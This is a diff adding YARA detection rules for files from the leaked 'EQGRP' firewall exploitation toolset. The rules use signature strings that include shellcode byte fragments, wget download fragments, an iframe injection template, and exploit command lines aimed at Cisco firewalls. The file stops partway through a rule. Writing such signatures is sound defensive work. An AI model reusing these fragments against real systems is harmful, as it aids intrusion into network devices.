+rule EQGRP_bc_genpkt {
+	meta:
+		description = "Detects tool from EQGRP toolset - file bc-genpkt"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "load auxiliary object=%s requested by file=%s" fullword ascii
+		$x2 = "size of new packet, should be %d <= size <= %d bytes" fullword ascii
+		$x3 = "verbosity - show lengths, packet dumps, etc" fullword ascii
+
+		$s1 = "%s: error while loading shared libraries: %s%s%s%s%s" fullword ascii
+		$s2 = "cannot dynamically load executable" fullword ascii
+		$s3 = "binding file %s to %s: %s symbol `%s' [%s]" fullword ascii
+		$s4 = "randomize the initiator cookie" fullword ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 1000KB and ( 1 of ($s*) and 3 of them )
+}
+
+rule EQGRP_dn_1_0_2_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
+		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
+		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
+		$s4 = "Not everything is set yet" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 2 of them )
+}
+
+rule EQGRP_morel {
+	meta:
+		description = "Detects tool from EQGRP toolset - file morel.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
+	strings:
+		$s1 = "%d - %d, %d" fullword ascii
+		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
+		$s3 = "%d - %d %d" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
+}
+
+rule EQGRP_bc_parser {
+	meta:
+		description = "Detects tool from EQGRP toolset - file bc-parser"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
+	strings:
+		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
+		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii
+	condition:
+		uint16(0) == 0x457f and 1 of them
+}
+
+rule EQGRP_1212 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file 1212.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
+		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
+		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
+		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
+		$s5 = "sub hextoPort" fullword ascii
+		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+	condition:
+		filesize < 6KB and 4 of them
+}
+
+rule EQGRP_1212_dehex {
+	meta:
+		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
+		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
+		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
+		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+		$s5 = "print hextoIP($ARGV[0]);" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 6KB and ( 5 of ($s*) ) ) or ( all of them )
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-16
+	Identifier: EQGRP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule install_get_persistent_filenames {
+	meta:
+		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
+	strings:
+		$s1 = "Generates the persistence file name and prints it out." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and all of them )
+}
+
+rule EQGRP_create_dns_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
+	strings:
+		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
+		$s2 = "-a www.badguy.net,CNAME,1800,host.badguy.net \\\\" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_screamingplow {
+	meta:
+		description = "EQGRP Toolset Firewall - file screamingplow.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
+	strings:
+		$s1 = "What is the name of your PBD:" fullword ascii
+		$s2 = "You are now ready for a ScreamPlow" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_MixText {
+	meta:
+		description = "EQGRP Toolset Firewall - file MixText.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
+	strings:
+		$s1 = "BinStore enabled implants." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_tunnel_state_reader {
+	meta:
+		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
+	strings:
+		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
+		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_payload {
+	meta:
+		description = "EQGRP Toolset Firewall - file payload.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
+	strings:
+		$s1 = "can't find target version module!" fullword ascii
+		$s2 = "class Payload:" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_eligiblecandidate {
+	meta:
+		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
+	strings:
+		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
+		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
+
+		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
+		$c2 = "self.build_exploit_payload(cmd)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BUSURPER_2211_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "_start_text" fullword ascii
+		$s3 = "IMPLANT" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "upgrade_implant" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_networkProfiler_orderScans {
+	meta:
+		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
+	strings:
+		$x1 = "Unable to save off predefinedScans directory" fullword ascii
+		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_epicbanana_2_1_0_1 {
+	meta:
+		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
+	strings:
+		$s1 = "failed to create version-specific payload" fullword ascii
+		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sniffer_xml2pcap {
+	meta:
+		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
+	strings:
+		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
+		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BananaAid {
+	meta:
+		description = "EQGRP Toolset Firewall - file BananaAid"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
+	strings:
+		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
+		$x2 = "scp BGLEE-" ascii
+		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
+		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_bo {
+	meta:
+		description = "EQGRP Toolset Firewall - file bo"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
+	strings:
+		$s1 = "ERROR: failed to open %s: %d" fullword ascii
+		$s2 = "__libc_start_main@@GLIBC_2.0" fullword ascii
+		$s3 = "serial number: %s" fullword ascii
+		$s4 = "strerror@@GLIBC_2.0" fullword ascii
+		$s5 = "ERROR: mmap failed: %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 20KB and all of them )
+}
+
+rule EQGRP_SecondDate_2211 {
+	meta:
+		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
+	strings:
+		$s1 = "SD_processControlPacket" fullword ascii
+		$s2 = "Encryption_rc4SetKey" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and all of them )
+}
+
+rule EQGRP_config_jp1_UA {
+	meta:
+		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
+	strings:
+		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
+		$x2 = "Error running config_implant." fullword ascii
+		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
+		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_userscript {
+	meta:
+		description = "EQGRP Toolset Firewall - file userscript.FW"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
+	strings:
+		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBALL_M50FW08_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "pageTable.c" fullword ascii
+		$s4 = "_start_text" fullword ascii
+		$s5 = "handler_readBIOS" fullword ascii
+		$s6 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 5 of ($s*) )
+}
+
+rule EQGRP_BUSURPER_3001_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
+	strings:
+		$s1 = "IMPLANT" fullword ascii
+		$s2 = "KEEPGOING" fullword ascii
+		$s3 = "upgrade_implant" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_workit {
+	meta:
+		description = "EQGRP Toolset Firewall - file workit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
+	strings:
+		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
+		$s2 = "/usr/bin/wget http://" fullword ascii
+		$s3 = "HOME=/tmp ftp" fullword ascii
+		$s4 = " >> /tmp/.netrc;" fullword ascii
+		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
+		$s6 = "created shell_command:" fullword ascii
+		$s7 = "rm -f /tmp/.netrc;" fullword ascii
+		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
+		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
+		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
+		$s11 = "created cli_command:" fullword ascii
+	condition:
+		6 of them
+}
+
+rule EQGRP_tinyhttp_setup {
+	meta:
+		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
+	strings:
+		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
+		$x2 = "What is the name of your implant:" fullword ascii /* it's called conscience */
+		$x3 = "killall thttpd" fullword ascii
+		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 2KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_shellcode {
+	meta:
+		description = "EQGRP Toolset Firewall - file shellcode.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
+	strings:
+		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
+		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
+		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
+
+		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
+		/* $c2 = { 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00 }  too many fps */
+		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }
+	condition:
+		1 of them
+}
+
+rule EQGRP_EPBA {
+	meta:
+		description = "EQGRP Toolset Firewall - file EPBA.script"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
+	strings:
+		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
+		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
+		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
+		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
+		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
+		$x6 = "this operation is complete, BananaGlee will" fullword ascii
+		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii
+	condition:
+		( uint16(0) == 0x2023 and filesize < 7KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_BPIE {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
+	strings:
+		$s1 = "profProcessPacket" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "getTimeSlotCmdHandler" fullword ascii
+		$s4 = "getIpIpCmdHandler" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "profStartScan" fullword ascii
+		$s7 = "tmpData.1" fullword ascii
+		$s8 = "resetCmdHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 70KB and 6 of ($s*) )
+}
+
+rule EQGRP_jetplow_SH {
+	meta:
+		description = "EQGRP Toolset Firewall - file jetplow.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
+	strings:
+		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
+		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
+		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
+		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBANJO {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
+	strings:
+		$s1 = "get_lsl_interfaces" fullword ascii
+		$s2 = "encryptFC4Payload" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "beacon_getconfig" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "FormBeaconPacket" fullword ascii
+		$s7 = "beacon_reconfigure" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 50KB and all of them )
+}
+
+rule EQGRP_BPATROL_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
+	strings:
+		$s1 = "dumpConfig" fullword ascii
+		$s2 = "getstatusHandler" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "xtractdata" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and all of them )
+}
+
+rule EQGRP_extrabacon {
+	meta:
+		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
+	strings:
+		$x1 = "To disable password checking on target:" fullword ascii
+		$x2 = "[-] target is running" fullword ascii
+		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
+		$x4 = "[+] importing version-specific shellcode" fullword ascii
+		$s5 = "[-] unsupported target version, abort" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sploit_py {
+	meta:
+		description = "EQGRP Toolset Firewall - file sploit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+	strings:
+		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
+		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
+		$x3 = "[-] no response from health check - target may have crashed" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_uninstallPBD {
+	meta:
+		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
+	strings:
+		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
+		$s2 = "_hidecmd" fullword ascii
+		$s3 = "memset 013abd04 1 0d" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_BICECREAM {
+	meta:
+		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
+	strings:
+		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
+		$s2 = "command data size is invalid for an exec cmd" fullword ascii
+		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
+		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
+		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
+		$s6 = "[%d] Execute code." fullword ascii
+		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
+		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
+		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 5000KB and 2 of them ) or ( 5 of them )
+}
+
+rule EQGRP_create_http_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_http_injection.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
+	strings:
+		$x1 = "required by SECONDDATE" fullword ascii
+
+		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
+		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
+		$s3 = "version='%prog 1.0'," fullword ascii
+		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 3KB and ( $x1 or 2 of them ) ) or ( all of them )
+}
+
+rule EQGRP_BFLEA_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "readFlashHandler" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "flashRtnsPix6x.c" fullword ascii
+		$s6 = "fix_ip_cksum_incr" fullword ascii
+		$s7 = "writeFlashHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 5 of them ) or ( all of them )
+}
+
+rule EQGRP_BpfCreator_RHEL4 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
+	strings:
+		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
+		$s2 = "error reading dump file: %s" fullword ascii
+		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
+		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
+		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and all of them )
+}
+
+rule EQGRP_StoreFc {
+	meta:
+		description = "EQGRP Toolset Firewall - file StoreFc.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
+	strings:
+		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
+		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
+		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_hexdump {
+	meta:
+		description = "EQGRP Toolset Firewall - file hexdump.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
+	strings:
+		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
+		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
+		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
+		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 1KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_BBALL {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
+	strings:
+		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "handler_readBIOS" fullword ascii
+		$s4 = "cmosReadByte" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+		$s6 = "checksumAreaConfirmed.0" fullword ascii
+		$s7 = "writeSpeedPlow.c" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 4 of ($s*) ) or ( all of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule EQGRP_BARPUNCH_BPICKER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+	strings:
+		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
+		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
+		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
+		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
+		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 1 of them ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen6 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
